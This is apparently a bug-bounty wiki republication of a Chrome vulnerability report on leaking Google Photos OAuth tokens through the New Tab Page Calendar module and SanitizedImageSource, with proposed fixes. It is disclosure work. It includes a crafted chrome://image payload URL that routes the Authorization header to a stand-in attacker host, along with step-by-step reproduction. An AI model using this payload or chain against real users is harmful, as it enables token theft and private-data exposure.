Improper input validation in Desktop (CVE-2026-110916)
A logic flaw in the New Tab Page Calendar module and SanitizedImageSource allowed a crafted calendar attachment URL to fetch a Google Photos OAuth token and leak it via an open redirect. An attacker could gain read access to a victim's private photos.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 6 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.
Overview: A potential logic vulnerability exists where an attacker can craft a Google Calendar invite to leak a user's Google Photos OAuth token. The NTP Calendar module fails to validate attachment URL schemes, allowing a malicious chrome://image URL to trigger SanitizedImageSource. The latter fetches an OAuth token and follows cross-origin redirects without stripping the Authorization header, allowing token exfiltration.
Affected files:
chrome/browser/new_tab_page/modules/v2/calendar/google_calendar_page_handler.ccchrome/browser/ui/webui/sanitized_image/sanitized_image_source.ccui/webui/resources/cr_elements/cr_auto_img/cr_auto_img.tsgoogle_apis/calendar/calendar_api_response_types.ccchrome/browser/resources/new_tab_page/modules/calendar/calendar_event.htmlchrome/browser/resources/new_tab_page/modules/calendar/calendar.ts
Estimated timestamp from git blame: 2024-06-07
Summary
A potential security vulnerability has been identified in the New Tab Page (NTP) Google Calendar module and the SanitizedImageSource WebUI data source. A remote attacker could exploit a lack of URL scheme validation and improper redirect handling to exfiltrate a victim's Google Photos OAuth token, granting the attacker read access to the victim's private photos.
This vulnerability affects managed profiles where the NTP Calendar module is enabled by default.
Vulnerability Details
The vulnerability arises from a chain of logic flaws across multiple components:
- Missing Scheme Validation: When the browser fetches calendar events from the Google Calendar API,
google_apis/calendar/calendar_api_response_types.ccparses theiconLinkfield of attachments into aGURL. Becausechromeis a registered scheme,GURL::is_valid()returns true for achrome://URL. The backend (google_calendar_page_handler.cc) maps this directly to the Mojo struct without enforcing a safe scheme (e.g.,https://). - cr-auto-img Bypass: The NTP frontend uses the
<img is="cr-auto-img">component (ui/webui/resources/cr_elements/cr_auto_img/cr_auto_img.ts) to render the attachment icon. If the provided URL protocol ischrome:,cr-auto-imgbypasses its standardchrome://imagewrapping for external URLs and assigns the URL directly to theimg.srcattribute. - SanitizedImageSource Exploitation: An attacker can supply a crafted
iconLinkURL:chrome://image?url=https://www.google.com/url?q=https://attacker.example/capture&isGooglePhotos=true.- The
SanitizedImageSourceintercepts this request in the browser process. - It checks if the target URL host ends with
.google.com(whichwww.google.comdoes) to authorize fetching a Google Photos OAuth token (photos.image.readonlyscope). - The token is fetched silently for the primary managed account and added as an
Authorizationheader to anetwork::SimpleURLLoaderrequest.
- The
- Header Leak on Redirect:
SanitizedImageSourceinitiates the request to the Google open redirector (www.google.com/url). Crucially, it does not configure anon_redirect_callback_on theSimpleURLLoader. Because the request mode defaults tokNoCorsand no removal list is provided, the network service follows the 302 redirect to the attacker's domain (attacker.example) and leaks theAuthorization: Bearer [TOKEN]header in the redirected request.
Potential Reproduction Steps
Note: These are suggested steps based on source code analysis; a working proof of concept has not been executed.
- An attacker creates a Google Calendar event using the API and adds an attachment with
iconLinkset tochrome://image?url=https%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fattacker.example%2Fcapture&isGooglePhotos=true. - The attacker invites the victim (a user signed into Chrome with a managed profile).
- The victim opens a New Tab Page.
- The NTP fetches the events. The malicious event (even if pending/unaccepted) is prioritized and automatically expanded by
computeExpandedEventIndex_incalendar.ts. - The malicious
chrome://URL is bound to the DOM, triggeringSanitizedImageSource. - The browser fetches the OAuth token, sends it to the Google redirector, and unconditionally follows the redirect to
attacker.example, leaking the token.
Proposed Mitigation
- Enforce Scheme Allowlist: Update
GoogleCalendarPageHandler::OnRequestComplete(or the API response parser) to strictly allowlist schemes foricon_urlandresource_url(e.g., only allowinghttps://orhttp://). - Secure Redirect Handling: Update
SanitizedImageSource::StartImageDownloadto provide anon_redirect_callback_to theSimpleURLLoader. The callback must explicitly addnet::HttpRequestHeaders::kAuthorizationto theremoved_headerslist to prevent cross-origin leakage. - Strengthen URL Validation: Consider updating
IsGooglePhotosUrlto be more restrictive than just checking for a.google.comsuffix, as this is easily bypassed using Google open redirectors.
Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the calendar attachment URL scheme was not validated, and the image fetcher followed cross-origin redirects without stripping the Authorization header.
Impact
An attacker could exfiltrate a victim's Google Photos OAuth token, granting read access to their private photos; this affects managed profiles where the NTP Calendar module is enabled by default.
What the attacker needed
Victim uses Chrome with a managed profile; NTP Calendar module enabled by default; attacker can create a calendar event and invite victim; victim opens a New Tab Page
The fix
The report proposes enforcing a scheme allowlist for attachment URLs and adding a redirect callback that removes the Authorization header on cross-origin redirects.
How it was found
- An attacker creates a Google Calendar event with a malicious attachment iconLink.
- The attacker invites the victim, who is signed into Chrome with a managed profile.
- The victim opens a New Tab Page.
- The NTP fetches events and automatically expands the malicious event.
- The malicious chrome:// URL is bound to the DOM, triggering SanitizedImageSource.
- The browser fetches the OAuth token, sends it to the Google redirector, and follows the redirect to the attacker's domain, leaking the token.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The browser's New Tab Page can show calendar events with icons. The code that loads these icons did not check what kind of link it was given, so a malicious calendar invite could make the browser fetch a secret access token and then send it to an attacker's website. This would let the attacker view the victim's private photos.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.